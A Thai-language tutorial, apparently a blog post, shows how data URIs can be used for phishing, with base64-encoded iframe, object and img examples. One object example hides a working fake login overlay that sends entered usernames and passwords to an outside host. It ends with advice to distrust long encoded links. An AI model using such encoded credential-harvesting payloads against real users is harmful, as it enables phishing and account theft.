How to demonstrate Phishing with Data URI

บทนำ (Overview)

ต่อเนื่องจากบทความ How to demonstrate Reflected Cross-Site Scripting (Get method) และ How to demonstrate Reflected Cross-Site Scripting (Post method) เป็นวิธีการโจมตีในรูปแบบ phishing ผ่าน URL ในบทความนี้จะใช้ผ่าน “URI” และสามารถผสมผสานกับ “URL” ก็ได้ทำให้ “code” นั้นถูก “encode” ในรูปแบบที่เรียกว่า “Base 64”

ความแตกต่าง URL และ URI

เราคุ้นเคยกับคำว่า “URL” Uniform Resource Locator กันอยู่แล้ว เวลาจะเล่นเว็บต่าง ๆ แต่ในส่วน “URI” (Universal Resource Identifier) นั้นแตกต่างกับ URL เล็กน้อย เวลาเราจะเข้าเว็บไซต์เช่น www.google.com นั้นคือ URL ซึ่งจะประกอบด้วยการร้องขอ รูปภาพ หน้าเว็บ ก่อนที่จะรวมกันเป็นหน้าเว็บเพจจาก “Web Server” ที่เห็นนั้นเอง ซึ่งมีรูปแบบ

[scheme]://[domain:port/path]

แต่ URI ไม่ต้อง เราสามารถสร้างหน้าเว็บเพจในบรรทัดเดียวทั้งภาพ ทั้งหน้าเว็บ และส่งไปให้ผู้รับได้ทันที ซึ่งมีรูปแบบ ดังนี้

data:[<mime type>][;charset=<charset>][;base64],<encoded data>

โดย <MIME-TYPE> อาจเป็นได้ทั้ง “image/png”, “image/gif”, “text/html”

ลองทดสอบด้วยตัวเองโดยการ copy และวางบนเว็บ Browser

data:image/gif;base64,R0lGODlhEAAOALMAAOazToeHh0tLS/7LZv/0jvb29t/f3//Ub//ge
8WSLf/rhf/3kdbW1mxsbP//mf///yH5BAAAAAAALAAAAAAQAA4AAARe8L1Ekyky67QZ1h
LnjM5UUde0ECwLJoExKcppV0aCcGCmTIHEIUEqjgaORCMxIC6e0CcguWw6aFjsVMkkIr7g
77ZKPJjPZqIyd7sJAgVGoEGv2xsBxqNgYPj/gAwXEQA

จาก URI ข้างต้น เราสามารถทำการ “Encode” รูปภาพ ด้วยตัวเราเองจาก code ในบทความ (How to encode image in Base64)

ตัวอย่างการรวม  URI กับ HTML Syntax

  • การใช้ “iframe”
    <iframe width="30%" height="30%" src="data:text/html;charset=utf-8;base64,PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxoMT50ZXN0PHNjcmlwdD5hbGVydCgiaWZyYW1lIik8L2gxPjwvYm9keT48L2h0bWw+Ig=="></iframe>
    

    ตัวอย่าง

  • การใช้ “Object”
    <object data="data:text/html;base64,PGRpdiBpZD0ibG9naW4iIHN0eWxlID0icG9zaXRpb246YWJzb2x1dGU7dG9wOjBweDtsZWZ0OjBweDt3aWR0aDoxMDAwcHg7aGVpZ2h0OjEwMDBweDtiYWNrZ3JvdW5kLWNvbG9yOndoaXRlOyI+CiA8Zm9ybSBhY3Rpb249Imh0dHA6Ly93ZWItZnJlZWhvc3RpbmcuY29tL2xvZ2luLnBocCIgbWV0aG9kPSJHRVQiPgogICA8dGFibGU+CiAgICAgIDx0cj48dGQ+VXNlcm5hbWU8L3RkPgogICAgICAgICAgPHRkPjxpbnB1dCB0eXBlID0iaW5wdXQiIG5hbWU9InVnIj48L3RkPgogICAgICA8L3RyPgogICAgICA8dHI+PHRkPlBhc3N3b3JkPC90ZD4KICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZSA9InBhc3N3b3JkIiBuYW1lPSJwZyI+PC90ZD4KICAgICAgPC90cj4KICAgICAgPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZSA9IlN1Ym1pdCIgdmFsdWU9IkxvZ2luIj48L3RkPjwvdHI+CiAgIDx0YWJsZT4KICA8L2Zvcm0+CiA8ZGl2Pg==">
    </object>
    

    ตัวอย่าง

  • การใช้ img
  • <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOAAAABYCAIAAABj1myuAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAUoSURBVHhe7Zxrjts2EMd9I/k62a3Oks32k86RJg3QFjDQM2we7de9Qh5t08cNXM5wSA4pKaa9Tjzk/n/Qh5nhS4B+pmVA1mYPgGEgKDBNn4L+9MuvOJo45IKt062gEgHDQFBgGggKTANBgWkgKDBNvaD307CJDNM9F/f73SilzWbcSa0JIGgTHLeDsqRzD125LTkJCNoExwnK++WSoGPcUZsBgjYBBAWmObug/p7U3aPuxtQx3aiGGlWGaQqdJb8PN7qL97hxcLjTCG1Un490zNdNQNAmOLOgrp2b9c1qqDmozO7m2iSPWC81WK1HITUHEx3cIoO9mKo/xSGUdX0iQNAmOL+ghQnKJ4Hby45ZPlslTCI9lMGFfGmalXUTELQJziyo8kLJNB9RLyjF3KJE5EUqBF1YNwFBm+BIQTM1Aq5Yllir0itNJqQjyynhGfVgFWdnkS2QCxrLS0DQJjhSUO+GVjQXYTdqV3xM0qQR99NEYSakI8spiYLKUA6lhyoXJ6CnWVw3AUGb4FhBCb7yEa2ZaxoGMjhvYKEEqqYJfJ8sz5I0chhHH6YFnH1q5nFXTjtbNwOCNsEpgvYBBG0CCApMA0GBaSAoMM2jFhRHE4dcsHX6FBR0AwQFpoGgwDQQFJgGP5JwXPKQC7ZOt4JKBAwDQYFpICgwDQQFpoGgwDT1guqHKwPxcWCD0PnOHgJVQNAmOHIHpWeCg5X++WCbjsqnCYI2zwMEFUW/JMElwQ7aBQ8S1O9TRr/nIWgXnG0H5ViIPeSblv47pP85z4P8m0fiMJdIb58UX9OprZx+nMIiseQYpp2LIGjzPEDQqFpepzBKlVpjlOSTARRHk4rE/xNTF3kkDfVBPAMmnYb7RAwQtANOEFRRChCk8XXOxEIhqaqY+SdJ8DNpx6RpiwUoTdniUgoI2gQP2EFzWF0SQuvGRSYMYqcYJU8aQt/7YQ29f2aLRvXylqJfmnQZCNoE5xFUyzAXg82ZO6YcDWN2E1X8IulNC9xZjY4nwROnBqqnlefnkQNBm+AEQReuujKFQ9/FhcEeqlK89OYRgm0aR1GSV3E/czhx8JzBRO7qB3I9CcrjQhvHKZ0DQZugXlBviVBe9tQY3wDCP931W0Co3/KbRxy5a2SXEs+hVtd2elLXVOQf96t2OiBoExy5g3YEBG0CCApMA0GBaSAoMM2jFhRHE4dcsHX6FBR0AwQFpoGgwDQQFJgGggLTdCvozy0g5wrW6VnQ/2wDQWvoWdB/bQNBa4CgFwOC1tCzoP/YBoLWAEEvBgStoWdB/z7Aq+822+9/l+RUTp8EgtbQs6CfD8Bu/SbJtweC1gBBJfn2QNAaehb0rwP8eL3Z3r6TRPHudit/fsrbdX27lbY4CQe319K+NG8BBK2hZ0H/PMBLp9Szt5JEXHVz/fLL8dtnTlU/Nk5C7dKBmkPXdSBoDRBUkkBeTKoVnbWXRVDEq0DQGiCoJEK5+YU+a/WFoIhXgaA19CzoHwd4ceU0eiNJIC++cV5evaCo6BzTeVDEq0DQGnoW9NMBnEbDzWtJIq7qnDwcy9g4SQyKeBUIWsMjFzQjOPX6Jr3pRGuW6sPNzcxLCPpV6FnQj1+PO+fq1Q+SnAgEraFnQT+ck7unw2Z4eueT50/cLhqSU4GgNUDQekjLwJPnUjwdCFpDz4K+tw0ErQGCXgwIWkPPgtpHzhWs062goA8gKDANBAWmgaDANBAUmAaCAtNAUGAaCApMA0GBaSAoMA0EBYbZ7/8HmpmqD6Q6ZCgAAAAASUVORK5CYII="/>
    

    ตัวอย่าง

สรุปผลการทดสอบ (Conclusion)
ในส่วนของการโจมตีจริงนั้นเพียงแค่ผสมผสานไปกับบทความที่นำเสนอก่อนหน้า ในส่วนของผู้ใช้งานเว็บไซต์เช่นเดิมเมื่อเห็นข้อมูล Encode ยาวๆ อ่านไม่ออกใน Link ให้พึงสงสัยไว้ก่อนว่าน่าจะไม่ใช่ Link ที่จะใช้งานได้น่าจะมีอะไรมาผสมปนเปเข้ามาตามตัวอย่างยกไว้ข้างต้น

ใส่ความเห็น